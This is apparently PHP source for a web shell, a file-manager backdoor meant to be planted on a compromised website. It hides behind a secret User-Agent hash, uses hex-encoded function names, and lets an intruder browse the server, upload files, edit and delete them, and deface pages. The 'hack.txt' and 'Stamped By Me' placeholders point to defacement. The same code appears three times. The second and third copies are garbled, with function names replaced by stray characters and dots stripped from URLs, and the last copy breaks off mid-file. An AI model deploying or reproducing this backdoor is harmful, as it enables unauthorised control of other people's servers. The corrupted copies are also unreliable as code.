$variableExist = "";
$user_agents = '0af18a012e3e7c6d6a205fdef39893b4';
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(md5($user_agent) === $user_agents) {
$variableExist = $user_agents;
}
define("self","X<sup>125</sup>");
$scD="scandir";
$fc=array("7068705f756e616d65","70687076657273696f6e","676574637764","6368646972","707265675f73706c6974","61727261795f64696666","69735f646972","69735f66696c65","69735f7772697461626c65","69735f7265616461626c65","66696c6573697a65","636f7079","66696c655f657869737473","66696c655f7075745f636f6e74656e7473","66696c655f6765745f636f6e74656e7473","6d6b646972","72656e616d65","737472746f74696d65","68746d6c7370656369616c6368617273","64617465","66696c656d74696d65");
for($i=0;
$i<count($fc);
$i++){
$fc[$i]=nhx($fc[$i]);
}
if(isset($_GET["p"])){
$p=nhx($_GET["p"]);
$fc[3](nhx($_GET["p"]));
}
else{
$p=$fc[2]();
}
function hex($str){
$r="";
for($i=0;
$i<strlen($str);
$i++){
$r.=dechex(ord($str[$i]));
}
return $r;
}
function nhx($str){
$r="";
$len=(strlen($str)-1);
for($i=0;
$i<$len;
$i+=2){
$r.=chr(hexdec($str[$i].$str[$i+1]));
}
return $r;
}
function perms($f){
$p=fileperms($f);
if(($p&0xC000)==0xC000){
$i='s';
}
elseif(($p&0xA000)==0xA000){
$i='l';
}
elseif(($p&0x8000)==0x8000){
$i='-';
}
elseif(($p&0x6000)==0x6000){
$i='b';
}
elseif(($p&0x4000)==0x4000){
$i='d';
}
elseif(($p&0x2000)==0x2000){
$i='c';
}
elseif(($p&0x1000)==0x1000){
$i='p';
}
else{
$i='u';
}
$i.=(($p&0x0100)?'r':'-');
$i.=(($p&0x0080)?'w':'-');
$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
$i.=(($p&0x0020)?'r':'-');
$i.=(($p&0x0010)?'w':'-');
$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
$i.=(($p&0x0004)?'r':'-');
$i.=(($p&0x0002)?'w':'-');
$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
return $i;
}
function a($msg,$sts=1,$loc=""){
global $p;
$status=(($sts==1)?"success":"error");
echo"<script>swal({
title: '{
$status
}
', text: '{
$msg
}
', icon: '{
$status
}
'
}
).then((btnClick) => {
if(btnClick){
document.location.href='?p=".hex($p).$loc."'
}
}
)</script>";
}
function deldir($d){
global $fc;
if(trim(pathinfo($d,PATHINFO_BASENAME),)==='')return;
if($fc[6]($d)){
array_map("deldir",glob($d.DIRECTORY_SEPARATOR.'{
,.
}
*',GLOB_BRACE|GLOB_NOSORT));
rmdir($d);
}
else{
unlink($d);
}
}
if (isset($variableExist)&&$variableExist===$user_agents) {
<!doctypehtml><html lang="en"><head><meta content="width=device-width,initial-scale=0.6,shrink-to-fit=no"name="viewport"><link href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"rel="stylesheet"><link href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><title>X</title><style>.table-hover tbody tr:hover td{
background:red
}
.table-hover tbody tr:hover td>*{
color:#fff
}
.table>tbody>tr>*{
color:#fff;
vertical-align:middle
}
.form-control{
background:0 0;
color:#fff;
border-radius:0
}
.form-control::placeholder{
color:#fff;
opacity:1
}
li{
font-size:18px;
margin-left:6px;
list-style:none
}
a{
color:#fff
}
</style><script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script></head><body style="background-color:#000;
color:#fff;
font-family:serif"><div class="border bg-dark table-responsive text-light"><div class="p-1 d-flex justify-content-between"><div><h3 class="mt-2"><a href="?">=self</a></h3></div><div>[ <a href="?p==hex($p)."&a=".hex("newFile")">+File</a> ] [ <a href="?p==hex($p)."&a=".hex("newDir")">+Directory</a> ]</div><form method="post"enctype="multipart/form-data"><div class="input-group mb-1 mt-1 px-1"><div class="custom-file"><input class="custom-file-input"name="f[]"multiple onchange="this.form.submit()"type="file"><label class="rounded-0 bg-transparent custom-file-label text-light">Choose file</label></div></div></form></div>if(isset($_FILES["f"])){
$n=$_FILES["f"]["name"];
for($i=0;
$i<count($n);
$i++){
if($fc[11]($_FILES["f"]["tmp_name"][$i],$n[$i])){
a("file uploaded successfully");
}
else{
a("file failed to upload",0);
}
}
}
</div><div class="border bg-dark table-responsive mt-2"><div class="ml-2"style="font-size:18px"><span>Path: </span>$ps=$fc[4]("/(\\\|\/)/",$p);
foreach($ps as $k=>$v){
if($k==0&&$v==""){
echo "<a href='?p=2f'>~</a>/";
continue;
}
if($v=="")continue;
echo "<a href='?p=";
for($i=0;
$i<=$k;
$i++){
echo hex($ps[$i]);
if($i!=$k)echo "2f";
}
echo"'>{
$v
}
</a>/";
}
</div></div><article class="border bg-dark table-responsive mt-2">if(!isset($_GET["a"])):<table class="table table-borderless table-hover table-sm"><thead class="text-light"><tr><th>Name</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody class="text-light">$scD=$fc[5]($scD($p),array(, ".."));
foreach($scD as $d){
if(!$fc[6]("$p/$d"))continue;
echo "<tr><td><a href=\"?p=".hex("$p/$d")."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on ".$fc[19]("Y-m-d H:i",$fc[20]("$p/$d"))."\"><i class=\"fa fa-fw fa-folder\"></i> {
$d
}
</a></td><td>Directory</td><td><font color=\"".(($fc[8]("$p/$d"))?"#00ff00":(!$fc[9]("$p/$d")?"red":null))."\">".perms("$p/$d")."</font></td><td><a href=\"?p=".hex($p)."&a=".hex("rename")."&n=".hex($d)."&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a><a href=\"?p=".hex($p)."&a=".hex("delete")."&n=".hex($d)."\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a></td></tr>";
}
foreach($scD as $f){
if(!$fc[7]("$p/$f"))continue;
$sz=$fc[10]("$p/$f")/1024;
$sz=round($sz,3);
$sz=($sz>1024)?round($sz/1024,2)."MB":$sz."KB";
echo "<tr><td><a href='?p=".hex($p)."&a=".hex("view")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Latest modify on ".$fc[19]("Y-m-d H:i",$fc[20]("$p/$f"))."'><i class='fa fa-fw fa-file'></i> {
$f
}
</a></td><td>{
$sz
}
</td><td><font color='".(($fc[8]("$p/$f"))?"#00ff00":(!$fc[9]("$p/$f")?"red":null))."'>".perms("$p/$f")."</font></td><td><div class='d-flex justify-content-between'><a href='?p=".hex($p)."&a=".hex("edit")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Edit'><i class='fa fa-fw fa-edit'></i></a><a href='?p=".hex($p)."&a=".hex("rename")."&n=".hex($f)."&t=f' data-toggle='tooltip' data-placement='auto' title='Rename'><i class='fa fa-fw fa-pencil'></i></a><a href='?p=".hex($p)."&a=".hex("delete")."&n=".hex($f)."' class='delete' data-type='file' data-toggle='tooltip' data-placement='auto' title='Delete'><i class='fa fa-fw fa-trash'></i></a></div></td></tr>";
}
</tbody></table>else:if(isset($_GET["a"]))$a=nhx($_GET["a"]);
<div class="px-2 py-2">if($a=="delete"){
$loc=$p.'/'.nhx($_GET["n"]);
if($_GET["t"]=="d"){
deldir($loc);
if(!$fc[12]($loc)){
a("folder deleted");
}
else{
a("failed to delete the folder",0);
}
}
if($_GET["t"]=="f"){
$loc=$p.'/'.nhx($_GET["n"]);
unlink($loc);
if(!$fc[12]($loc)){
a("file deleted");
}
else{
a("file to delete the folder",0);
}
}
}
if($a=="newDir"):<h5 class="border mb-3 p-1">New folder</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control"name="n"id="n"autocomplete="off"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?($fc[12]("$p/{
$_POST["n"]
}
")?a("folder name has been used",0,"&a=".hex("newDir")):($fc[15]("$p/{
$_POST["n"]
}
")?a("folder created successfully"):a("folder failed to create",0))):null);
elseif($a=="newFile"):<h5 class="border mb-3 p-1">New file</h5><form method="post"><div class="form-group"><label for="n">File name :</label><input class="form-control"name="n"id="n"placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder="# Stamped By Me"style="resize:none"></textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?($fc[12]("$p/{
$_POST["n"]
}
")?a("file name has been used",0,"&a=".hex("newFile")):($fc[13]("$p/{
$_POST["n"]
}
",$_POST["ctn"])?a("file created successfully",1,"&a=".hex("view")."&n=".hex($_POST["n"])):a("file failed to create",0))):null);
elseif($a=="rename"):<h5 class="border mb-3 p-1">Rename=(($_GET["t"]=="d")?"folder":"file")</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control" name="n" id="n" value="=nhx($_GET['n'])"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?($fc[16]($p.'/'.nhx($_GET["n"]),$_POST["n"])?a("successfully changed the folder name"):a("failed to change the folder name",0)):null);
elseif($a=="edit"):<h5 class="border mb-3 p-1">Edit file</h5><span>File name :=nhx($_GET["n"])</span><form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10">=$fc[18]($fc[14]($p.'/'.nhx($_GET["n"])))</textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?($fc[13]($p.'/'.nhx($_GET["n"]),$_POST["ctn"])?a("file contents changed successfully",1,"&a=".hex("view")."&n={
$_GET["n"]
}
"):a("file contents failed to change")):null);
elseif($a=="view"):<h5 class="border mb-3 p-1">View file</h5><span>File name :=nhx($_GET["n"])</span><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>=$fc[18]($fc[14]($p.'/'.nhx($_GET["n"])))</textarea></div>endif;
</div>endif;
</article><script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script><script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script><script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script><script>eval(function(t,e,n,r,i,o){
if(i=function(t){
return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?String.fromCharCode(t+29):t.toString(36))
}
,!"".replace(/^/,String)){
for(;
n--;
)o[i(n)]=r[n]||i(n);
r=[function(t){
return o[t]
}
],i=function(){
return"\\w+"
}
,n=1
}
for(;
n--;
)r[n]&&(t=t.replace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));
return t
}
('E.n();
$(\'[2-m="4"]\').4();
$(".l").k(j(e){
e.g();
h 0=$(6).5("2-0");
c({
b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,
}
).y((8)=>{
r(8){
x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");
u.s.3=1
}
}
)
}
);
',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{
}
))</script></body></html>
}
</td>
$variableExist = "";
$user_agents = '0af18a012e3e7c6d6a205fdef39893b4';
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(md5($user_agent) === $user_agents) {
$variableExist = $user_agents;
}
define("self","X<sup>125</sup>");
$scD="scandir";
for($i=0;
$i<count($fc);
$i++){
$fc[$i]=nhx($fc[$i]);
}
if(isset($_GET["p"])){
$p=nhx($_GET["p"]);
"a"(nhx($_GET["p"]));
}
else{
$p="r"();
}
function hex($str){
$r="";
for($i=0;
$i<strlen($str);
$i++){
$r.=dechex(ord($str[$i]));
}
return $r;
}
function nhx($str){
$r="";
$len=(strlen($str)-1);
for($i=0;
$i<$len;
$i+=2){
$r.=chr(hexdec($str[$i].$str[$i+1]));
}
return $r;
}
function perms($f){
$p=fileperms($f);
if(($p&0xC000)==0xC000){
$i='s';
}
elseif(($p&0xA000)==0xA000){
$i='l';
}
elseif(($p&0x8000)==0x8000){
$i='-';
}
elseif(($p&0x6000)==0x6000){
$i='b';
}
elseif(($p&0x4000)==0x4000){
$i='d';
}
elseif(($p&0x2000)==0x2000){
$i='c';
}
elseif(($p&0x1000)==0x1000){
$i='p';
}
else{
$i='u';
}
$i.=(($p&0x0100)?'r':'-');
$i.=(($p&0x0080)?'w':'-');
$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
$i.=(($p&0x0020)?'r':'-');
$i.=(($p&0x0010)?'w':'-');
$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
$i.=(($p&0x0004)?'r':'-');
$i.=(($p&0x0002)?'w':'-');
$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
return $i;
}
function a($msg,$sts=1,$loc=""){
global $p;
$status=(($sts==1)?"success":"error");
echo"<script>swal({
title: '{
$status
}
', text: '{
$msg
}
', icon: '{
$status
}
'
}
).then((btnClick) => {
if(btnClick){
documentlocationhref='?p=".hex($p).$loc."'
}
}
)</script>";
}
function deldir($d){
global $fc;
if(trim(pathinfo($d,PATHINFO_BASENAME),)==='')return;
if("""($d)){
array_map("deldir",glob($dDIRECTORY_SEPARATOR.'{
,.
}
*',GLOB_BRACE|GLOB_NOSORT));
rmdir($d);
}
else{
unlink($d);
}
}
if (isset($variableExist)&&$variableExist===$user_agents) {
<!doctypehtml><html lang="en"><head><meta content="width=device-width,initial-scale=06,shrink-to-fit=no"name="viewport"><link href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss"rel="stylesheet"><link href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss"rel="stylesheet"><title>X</title><style>.table-hover tbody tr:hover td{
background:red
}
.table-hover tbody tr:hover td>*{
color:#fff
}
.table>tbody>tr>*{
color:#fff;
vertical-align:middle
}
.form-control{
background:0 0;
color:#fff;
border-radius:0
}
.form-control::placeholder{
color:#fff;
opacity:1
}
li{
font-size:18px;
margin-left:6px;
list-style:none
}
a{
color:#fff
}
</style><script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script></head><body style="background-color:#000;
color:#fff;
font-family:serif"><div class="border bg-dark table-responsive text-light"><div class="p-1 d-flex justify-content-between"><div><h3 class="mt-2"><a href="?">=self</a></h3></div><div>[ <a href="?p==hex($p)."&a=".hex("newFile")">+File</a> ] [ <a href="?p==hex($p)."&a=".hex("newDir")">+Directory</a> ]</div><form method="post"enctype="multipart/form-data"><div class="input-group mb-1 mt-1 px-1"><div class="custom-file"><input class="custom-file-input"name="f[]"multiple onchange="thisformsubmit()"type="file"><label class="rounded-0 bg-transparent custom-file-label text-light">Choose file</label></div></div></form></div>if(isset($_FILES["f"])){
$n=$_FILES["f"]["name"];
for($i=0;
$i<count($n);
$i++){
if("7"($_FILES["f"]["tmp_name"][$i],$n[$i])){
a("file uploaded successfully");
}
else{
a("file failed to upload",0);
}
}
}
</div><div class="border bg-dark table-responsive mt-2"><div class="ml-2"style="font-size:18px"><span>Path: </span>$ps="y"("/(\\\|\/)/",$p);
foreach($ps as $k=>$v){
if($k==0&&$v==""){
echo "<a href='?p=2f'>~</a>/";
continue;
}
if($v=="")continue;
echo "<a href='?p=";
for($i=0;
$i<=$k;
$i++){
echo hex($ps[$i]);
if($i!=$k)echo "2f";
}
echo"'>{
$v
}
</a>/";
}
</div></div><article class="border bg-dark table-responsive mt-2">if(!isset($_GET["a"])):<table class="table table-borderless table-hover table-sm"><thead class="text-light"><tr><th>Name</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody class="text-light">$scD="("($scD($p),array(, ".."));
foreach($scD as $d){
if(!"""("$p/$d"))continue;
echo "<tr><td><a href=\"?p=".hex("$p/$d")."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i","1"("$p/$d"))."\"><i class=\"fa fa-fw fa-folder\"></i> {
$d
}
</a></td><td>Directory</td><td><font color=\"".(("0"("$p/$d"))?"#00ff00":(!"6"("$p/$d")?"red":null))."\">".perms("$p/$d")."</font></td><td><a href=\"?p=".hex($p)."&a=".hex("rename")."&n=".hex($d)."&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a><a href=\"?p=".hex($p)."&a=".hex("delete")."&n=".hex($d)."\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a></td></tr>";
}
foreach($scD as $f){
if(!"7"("$p/$f"))continue;
$sz="8"("$p/$f")/1024;
$sz=round($sz,3);
$sz=($sz>1024)?round($sz/1024,2)."MB":$sz."KB";
echo "<tr><td><a href='?p=".hex($p)."&a=".hex("view")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Latest modify on 6"("Y-m-d H:i","1"("$p/$f"))."'><i class='fa fa-fw fa-file'></i> {
$f
}
</a></td><td>{
$sz
}
</td><td><font color='".(("0"("$p/$f"))?"#00ff00":(!"6"("$p/$f")?"red":null))."'>".perms("$p/$f")."</font></td><td><div class='d-flex justify-content-between'><a href='?p=".hex($p)."&a=".hex("edit")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Edit'><i class='fa fa-fw fa-edit'></i></a><a href='?p=".hex($p)."&a=".hex("rename")."&n=".hex($f)."&t=f' data-toggle='tooltip' data-placement='auto' title='Rename'><i class='fa fa-fw fa-pencil'></i></a><a href='?p=".hex($p)."&a=".hex("delete")."&n=".hex($f)."' class='delete' data-type='file' data-toggle='tooltip' data-placement='auto' title='Delete'><i class='fa fa-fw fa-trash'></i></a></div></td></tr>";
}
</tbody></table>else:if(isset($_GET["a"]))$a=nhx($_GET["a"]);
<div class="px-2 py-2">if($a=="delete"){
$loc=$p.'/'.nhx($_GET["n"]);
if($_GET["t"]=="d"){
deldir($loc);
if(!"0"($loc)){
a("folder deleted");
}
else{
a("failed to delete the folder",0);
}
}
if($_GET["t"]=="f"){
$loc=$p.'/'.nhx($_GET["n"]);
unlink($loc);
if(!"0"($loc)){
a("file deleted");
}
else{
a("file to delete the folder",0);
}
}
}
if($a=="newDir"):<h5 class="border mb-3 p-1">New folder</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control"name="n"id="n"autocomplete="off"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?("0"("$p/{
$_POST["n"]
}
")?a("folder name has been used",0,"&a=".hex("newDir")):("7"("$p/{
$_POST["n"]
}
")?a("folder created successfully"):a("folder failed to create",0))):null);
elseif($a=="newFile"):<h5 class="border mb-3 p-1">New file</h5><form method="post"><div class="form-group"><label for="n">File name :</label><input class="form-control"name="n"id="n"placeholder="hacktxt"></div><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder="# Stamped By Me"style="resize:none"></textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?("0"("$p/{
$_POST["n"]
}
")?a("file name has been used",0,"&a=".hex("newFile")):("5"("$p/{
$_POST["n"]
}
",$_POST["ctn"])?a("file created successfully",1,"&a=".hex("view")."&n=".hex($_POST["n"])):a("file failed to create",0))):null);
elseif($a=="rename"):<h5 class="border mb-3 p-1">Rename=(($_GET["t"]=="d")?"folder":"file")</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control" name="n" id="n" value="=nhx($_GET['n'])"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?("5"($p.'/'.nhx($_GET["n"]),$_POST["n"])?a("successfully changed the folder name"):a("failed to change the folder name",0)):null);
elseif($a=="edit"):<h5 class="border mb-3 p-1">Edit file</h5><span>File name :=nhx($_GET["n"])</span><form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10">="e"("f"($p.'/'.nhx($_GET["n"])))</textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?("5"($p.'/'.nhx($_GET["n"]),$_POST["ctn"])?a("file contents changed successfully",1,"&a=".hex("view")."&n={
$_GET["n"]
}
"):a("file contents failed to change")):null);
elseif($a=="view"):<h5 class="border mb-3 p-1">View file</h5><span>File name :=nhx($_GET["n"])</span><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>="e"("f"($p.'/'.nhx($_GET["n"])))</textarea></div>endif;
</div>endif;
</article><script src="//codejquerycom/jquery-351slimminjs"></script><script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs"></script><script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script><script>eval(function(t,e,n,r,i,o){
if(i=function(t){
return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?StringfromCharCode(t+29):ttoString(36))
}
,!"".replace(/^/,String)){
for(;
n--;
)o[i(n)]=r[n]||i(n);
r=[function(t){
return o[t]
}
],i=function(){
return"\\w+"
}
,n=1
}
for(;
n--;
)r[n]&&(t=treplace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));
return t
}
('En();
$(\'[2-m="4"]\').4();
$(".l").k(j(e){
eg();
h 0=$(6).5("2-0");
c({
b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,
}
).y((8)=>{
r(8){
x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");
us3=1
}
}
)
}
);
',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{
}
))</script></body></html>
}
</td>
$variableExist = "";
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(md5($user_agent) === '0af18a012e3e7c6d6a205fdef39893b4') {
$variableExist = '0af18a012e3e7c6d6a205fdef39893b4';
}
define("self","X<sup>125</sup>");
for('s'=0;
's'<count($fc);
's'++){
$fc['s']=nhx($fc['s']);
}
if(isset($_GET["p"])){
$p=nhx($_GET["p"]);
"a"(nhx($_GET["p"]));
}
else{
$p="r"();
}
function hex($str){
$r="";
for('s'=0;
's'<strlen($str);
's'++){
$r.=dechex(ord($str['s']));
}
return $r;
}
function nhx($str){
$r="";
$len=(strlen($str)-1);
for('s'=0;
's'<$len;
's'+=2){
$r.=chr(hexdec($str['s'].$str['s'+1]));
}
return $r;
}
function perms($f){
$p=fileperms($f);
if(($p&0xC000)==0xC000){
}
elseif(($p&0xA000)==0xA000){
's'='l';
}
elseif(($p&0x8000)==0x8000){
's'='-';
}
elseif(($p&0x6000)==0x6000){
's'='b';
}
elseif(($p&0x4000)==0x4000){
's'='d';
}
elseif(($p&0x2000)==0x2000){
's'='c';
}
elseif(($p&0x1000)==0x1000){
's'='p';
}
else{
's'='u';
}
's'.=(($p&0x0100)?'r':'-');
's'.=(($p&0x0080)?'w':'-');
's'.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
's'.=(($p&0x0020)?'r':'-');
's'.=(($p&0x0010)?'w':'-');
's'.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
's'.=(($p&0x0004)?'r':'-');
's'.=(($p&0x0002)?'w':'-');
's'.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
return 's';
}
function a($msg,$sts=1,$loc=""){
global $p;
$status=(($sts==1)?"success":"error");
echo"<script>swal({
title: '{
$status
}
', text: '{
$msg
}
', icon: '{
$status
}
'
}
).then((btnClick) => {
if(btnClick){
documentlocationhref='?p=".hex($p).$loc."'
}
}
)</script>";
}
function deldir($d){
global $fc;
if(trim(pathinfo($d,PATHINFO_BASENAME),)==='')return;
if("""($d)){
array_map("deldir",glob($dDIRECTORY_SEPARATOR.'{
,.
}
*',GLOB_BRACE|GLOB_NOSORT));
rmdir($d);
}
else{
unlink($d);
}
}
if (isset($variableExist)&&$variableExist==='0af18a012e3e7c6d6a205fdef39893b4') {
<!doctypehtml><html lang="en"><head><meta content="width=device-width,initial-scale=06,shrink-to-fit=no"name="viewport"><link href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss"rel="stylesheet"><link href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss"rel="stylesheet"><title>X</title><style>.table-hover tbody tr:hover td{
background:red
}
.table-hover tbody tr:hover td>*{
color:#fff
}
.table>tbody>tr>*{
color:#fff;
vertical-align:middle
}
.form-control{
background:0 0;
color:#fff;
border-radius:0
}
.form-control::placeholder{
color:#fff;
opacity:1
}
li{
font-size:18px;
margin-left:6px;
list-style:none
}
a{
color:#fff
}
</style><script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script></head><body style="background-color:#000;
color:#fff;
font-family:serif"><div class="border bg-dark table-responsive text-light"><div class="p-1 d-flex justify-content-between"><div><h3 class="mt-2"><a href="?">=self</a></h3></div><div>[ <a href="?p==hex($p)."&a=".hex("newFile")">+File</a> ] [ <a href="?p==hex($p)."&a=".hex("newDir")">+Directory</a> ]</div><form method="post"enctype="multipart/form-data"><div class="input-group mb-1 mt-1 px-1"><div class="custom-file"><input class="custom-file-input"name="f[]"multiple onchange="thisformsubmit()"type="file"><label class="rounded-0 bg-transparent custom-file-label text-light">Choose file</label></div></div></form></div>if(isset($_FILES["f"])){
$n=$_FILES["f"]["name"];
for('s'=0;
's'<count($n);
's'++){
if("7"($_FILES["f"]["tmp_name"]['s'],$n['s'])){
a("file uploaded successfully");
}
else{
a("file failed to upload",0);
}
}
}
</div><div class="border bg-dark table-responsive mt-2"><div class="ml-2"style="font-size:18px"><span>Path: </span>$ps="y"("/(\\\|\/)/",$p);
foreach($ps as $k=>$v){
if($k==0&&$v==""){
echo "<a href='?p=2f'>~</a>/";
continue;
}
if($v=="")continue;
echo "<a href='?p=";
for('s'=0;
's'<=$k;
's'++){
echo hex($ps['s']);
if('s'!=$k)echo "2f";
}
echo"'>{
$v
}
</a>/";
}
</div></div><article class="border bg-dark table-responsive mt-2">if(!isset($_GET["a"])):<table class="table table-borderless table-hover table-sm"><thead class="text-light"><tr><th>Name</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody class="text-light">"scandir"="("("scandir"($p),array(, ".."));
foreach("scandir" as $d){
if(!"""("$p/$d"))continue;
echo "<tr><td><a href=\"?p=".hex("$p/$d")."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i","1"("$p/$d"))."\"><i class=\"fa fa-fw fa-folder\"></i> {
$d
}
</a></td><td>Directory</td><td><font color=\"".(("0"("$p/$d"))?"#00ff00":(!"6"("$p/$d")?"red":null))."\">".perms("$p/$d")."</font></td><td><a href=\"?p=".hex($p)."&a=".hex("rename")."&n=".hex($d)."&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a><a href=\"?p=".hex($p)."&a=".hex("delete")."&n=".hex($d)."\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a></td></tr>";
}
foreach("scandir" as $f){
if(!"7"("$p/$f"))continue;
$sz="8"("$p/$f")/1024;
$sz=round($sz,3);
$sz=($sz>1024)?round($sz/1024,2)."MB":$sz."KB";
echo "<tr><td><a href='?p=".hex($p)."&a=".hex("view")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Latest modify on 6"("Y-m-d H:i","1"("$p/$f"))."'><i class='fa fa-fw fa-file'></i> {
$f
}
</a></td><td>{
$sz
}
</td><td><font color='".(("0"("$p/$f"))?"#00ff00":(!"6"("$p/$f")?"red":null))."'>".perms("$p/$f")."</font></td><td><div class='d-flex justify-content-between'><a href='?p=".hex($p)."&a=".hex("edit")."&n=".hex($f)."' data-toggle='tooltip' data-placement='auto' title='Edit'><i class='fa fa-fw fa-edit'></i></a><a href='?p=".hex($p)."&a=".hex("rename")."&n=".hex($f)."&t=f' data-toggle='tooltip' data-placement='auto' title='Rename'><i class='fa fa-fw fa-pencil'></i></a><a href='?p=".hex($p)."&a=".hex("delete")."&n=".hex($f)."' class='delete' data-type='file' data-toggle='tooltip' data-placement='auto' title='Delete'><i class='fa fa-fw fa-trash'></i></a></div></td></tr>";
}
</tbody></table>else:if(isset($_GET["a"]))$a=nhx($_GET["a"]);
<div class="px-2 py-2">if($a=="delete"){
$loc=$p.'/'.nhx($_GET["n"]);
if($_GET["t"]=="d"){
deldir($loc);
if(!"0"($loc)){
a("folder deleted");
}
else{
a("failed to delete the folder",0);
}
}
if($_GET["t"]=="f"){
$loc=$p.'/'.nhx($_GET["n"]);
unlink($loc);
if(!"0"($loc)){
a("file deleted");
}
else{
a("file to delete the folder",0);
}
}
}
